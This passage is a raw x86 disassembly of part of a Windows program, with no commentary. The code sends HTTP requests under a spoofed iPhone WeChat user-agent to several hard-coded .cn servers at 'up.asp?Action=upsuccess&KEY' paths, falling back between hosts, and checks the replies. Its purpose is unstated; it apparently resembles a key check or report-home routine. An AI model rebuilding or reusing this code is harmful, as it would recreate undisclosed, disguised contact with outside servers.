mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4eeb56
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4114b9
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4114c9
push ebx
call fcn.00431286
add esp, 4
push dword [ebp - 0x84]
push str.http:__www1.mmwzpt.cn
mov ecx, 2
call fcn.004014b1
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4114fa
push ebx
call fcn.00431286
add esp, 4
mov dword [ebp - 0x8c], 0
push 0
push dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov dword [ebp - 0x9c], 0
push 0
lea eax, [ebp - 0x9c]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
lea eax, [ebp - 0x88]
push eax
call fcn.00409443
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4115db
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x4115ee
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x411601
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x411614
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x411627
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x41163a
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x41164d
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x411660
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x411676
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x4116a2
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xb8]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4116b9
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x4ee6f0
push dword [ebp - 0x28]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x411893
push dword [ebp - 0x24]
push str.http:__www1.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.004014b1
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00409443
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4117b7
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4117ca
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4117dd
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4117f0
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x411803
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x411816
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411826
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411836
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x41184c
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x411878
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x41188f
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x4ee6f0
push dword [ebp - 0x28]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x411a6e
call fcn.00404954
push dword [ebp - 0x24]
push str.http:__www3.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.004014b1
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00409443
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x411992
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4119a5
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4119b8
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4119cb
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4119de
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4119f1
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411a01
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411a11
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x411a27
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x411a53
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x411a6a
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x4ee6f0
push dword [ebp - 0x28]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x411c44
push dword [ebp - 0x24]
push str.http:__www1.mmtp.com.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.004014b1
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00409443
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x411b68
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x411b7b
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x411b8e
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x411ba1
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x411bb4
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x411bc7
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411bd7
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411be7
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x411bfd
mov eax, 0x4ee6e8
push eax
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x411c29
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x411c40
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef2ec
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x411c75
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x411de1
call fcn.00404954
push 0
mov ebx, 0x433780
call fcn.0043127a
add esp, 4
push reloc.WS2_32.dll_closesocket
push edx
push eax
push 1
mov ebx, 0x4336b0
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000601
push 0x40000000
push 0
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x84]
push 0x80000601
push dword [ebp - 0x80]
push dword [ebp - 0x84]
push 2
mov ebx, 0x431590
call fcn.0043127a
add esp, 0x1c
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], edx
fld qword [ebp - 0x94]
ftst
fnstsw ax
test ah, 1
je 0x411d1d
fchs
fcomp qword [0x4eea6c]
fnstsw ax
test ah, 0x41
je 0x411ddc
inc dword [0x5a3f00]
fild dword [0x5a3efc]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5a3ed0]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00402653
mov dword [0x5a3efc], eax
push 0x80000301
push 0
push dword [0x5a3efc]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x411daf
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x4ef2f0
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x434830
call fcn.0043127a
add esp, 0x1c
jmp 0x414c11
push str.Atimeerr
push dword [ebp - 0x28]
call fcn.0040107a
add esp, 8
cmp eax, 0
jne 0x411e2c
push reloc.WS2_32.dll_connect
push 0
push 0x4ef30d
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x434830
call fcn.0043127a
add esp, 0x1c
jmp 0x414c11
mov dword [0x5a3f00], 0
mov dword [0x5a3efc], 0
push 0x80000301
push 0
push dword [0x5a3efc]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x411e8d
push ebx
call fcn.00431286
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef35c
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef2ec
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411edc
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411eec
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x411f03
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef107
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef35c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411f56
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411f66
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x411f7d
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef360
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef107
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x411fd0
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x411fe0
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x411ff6
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431f20
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x412028
push ebx
call fcn.00431286
add esp, 4
push 0x80000601
push dword [ebp - 0x88]
push dword [ebp - 0x8c]
push 1
mov ebx, 0x432080
call fcn.0043127a
add esp, 0x10
mov dword [0x5a3f10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef364
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef360
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x41209f
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4120af
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x4120c5
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x432080
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4120f1
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5a3f14], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef368
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef364
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x41214b
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41215b
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x412171
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x432080
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41219d
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5a3f18], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef36c
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef368
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4121f7
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x412207
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5a3f1c]
test ebx, ebx
je 0x412221
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [0x5a3f1c], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401117
push reloc.WS2_32.dll_connect
push 0
push 0x4ef370
push reloc.WS2_32.dll_connect
push 0
push 0x4ef372
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5a3f1c]
test eax, eax
jne 0x41226a
mov eax, 0x4ee6f0
push eax
push 6
mov ebx, 0x432470
call fcn.0043127a
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401117
push reloc.WS2_32.dll_connect
push 0
push 0x4ef110
push reloc.WS2_32.dll_connect
push 0
push 0x4ef378
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x4122c1
mov eax, 0x4ee6f0
push eax
push 6
mov ebx, 0x432470
call fcn.0043127a
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4122e7
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5a3f1c]
test ebx, ebx
je 0x4122fe
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [0x5a3f1c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef37b
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef36c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x412353
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x412363
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5a3f20]
test ebx, ebx
je 0x41237d
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [0x5a3f20], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401117
push reloc.WS2_32.dll_connect
push 0
push 0x4ef370
push reloc.WS2_32.dll_connect
push 0
push 0x4ef372
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5a3f20]
test eax, eax
jne 0x4123c6
mov eax, 0x4ee6f0
push eax
push 6
mov ebx, 0x432470
call fcn.0043127a
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401117
push reloc.WS2_32.dll_connect
push 0
push 0x4ef110
push reloc.WS2_32.dll_connect
push 0
push 0x4ef378
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x41241d
mov eax, 0x4ee6f0
push eax
push 6
mov ebx, 0x432470
call fcn.0043127a
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x412443
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5a3f20]
test ebx, ebx
je 0x41245a
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [0x5a3f20], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef37f
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef37b
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4124af
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4124bf
push ebx
call fcn.00431286
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160100e8
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4124f0
push ebx
call fcn.00431286
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef383
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef37f
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x41253f
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41254f
push ebx
call fcn.00431286
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x412580
push ebx
call fcn.00431286
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4ef387
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4ef383
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a7dd
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4125cf
push ebx
call fcn.00431286
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4125df
push ebx
call fcn.00431286
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4125f6
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401117
push reloc.WS2_32.dll_connect
push 0
push 0x4ef370
push reloc.WS2_32.dll_connect
push 0
push 0x4ef372
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41263b
mov eax, 0x4ee6f0
push eax
push 6
mov ebx, 0x432470
call fcn.0043127a
add esp, 0x4c
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [0x5a3f0c]
test ebx, ebx
je 0x412668
push ebx
call fcn.00431286
add esp, 4
pop eax
mov dword [0x5a3f0c], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ef38b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5a3f0c]
test eax, eax
jne 0x4126a1
mov eax, 0x4ee6f0
push eax
push 4
mov ebx, 0x431cd0
call fcn.0043127a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4126d0
mov dword [0x5a3f08], 1
jmp 0x4126da
mov dword [0x5a3f08], 0
push 0x80000301
push 0
push dword [0x5a3f14]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d6
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x412727
push ebx
call fcn.00431286
add esp, 4
push 0x80000301
push 0
push dword [0x5a3f18]
push 1
mov ebx, 0x433020
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d4
push 0x52010001
call fcn.00431298
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x412774
push ebx
call fcn.00431286
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x412787
mov eax, 0x4ee6f0
push eax
push 1
mov ebx, 0x431f20
call fcn.0043127a
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fld qword [ebp - 0x80]
fsub qword [0x4ee75f]
ftst
fnstsw ax
test ah, 1
je 0x4127b4
fchs
fcomp qword [0x4eea6c]
fnstsw ax
test ah, 0x41
jne 0x412836
push 0
mov ebx, 0x434650
call fcn.0043127a
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x4ef398
push 0x10005
push 0x16010003
